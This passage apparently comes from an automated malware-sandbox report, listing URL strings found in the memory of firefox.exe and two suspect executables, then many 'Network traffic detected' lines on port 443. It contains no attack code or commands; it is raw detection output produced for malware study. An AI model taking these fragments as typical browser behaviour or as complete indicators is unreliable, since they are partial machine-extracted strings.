Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA5AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3208613194.000001B2BCAC7000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3249825676.00000000012CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED25D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://browser/content/parent/ext-browserAction
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244270499.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244194775.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230876517.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000003.3099245850.00000234F772D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3052730688.00000234F7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3070584541.00000234F7B4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3071812241.00000234F7B4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000003.3099245850.00000234F772D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3007858315.00000234EEE30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3008128044.00000234EEE51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244270499.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244194775.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230876517.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceFailed
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.3332803952.00000234EED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchinstrumentCustomElementClass
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: file.exe, 00000001.00000003.2260648817.00000000053E9000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2909105158.0000000005539000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC07D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001A.00000002.3224823843.00000234DEC6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 445877ac99.exe, 0000000B.00000003.2909389967.0000000005627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000001A.00000003.3128636514.00000234F0423000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3135115359.00000234F0447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 445877ac99.exe, 0000000B.00000003.2909389967.0000000005627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 445877ac99.exe, 0000000B.00000003.2909389967.0000000005627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA55F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3208613194.000001B2BCAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.3219070195.0000009FE157C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3236357921.00000234EA6DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA5AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3208613194.000001B2BCAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001A.00000002.3258203696.00000234EB218000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3108417044.00000234F1661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000003.3108417044.00000234F16D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001D.00000002.3220548395.000001B2BCB80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://ac
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED216000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224823843.00000234DEC6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224823843.00000234DEC5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3233955201.00000234EA5AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224549122.00000234DEAC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220548395.000001B2BCB84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3206768749.000001B2BC7DA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3206768749.000001B2BC7D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2979735263.0000020E63D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2995722432.00000203AC79F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224397709.00000234DE9B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.3227031750.00000234E05A2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220548395.000001B2BCB84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3206768749.000001B2BC7D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUpdateService:_postU
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwddedupeLogins:
Source: firefox.exe, 0000001A.00000002.3224823843.00000234DEC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdq

Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50173
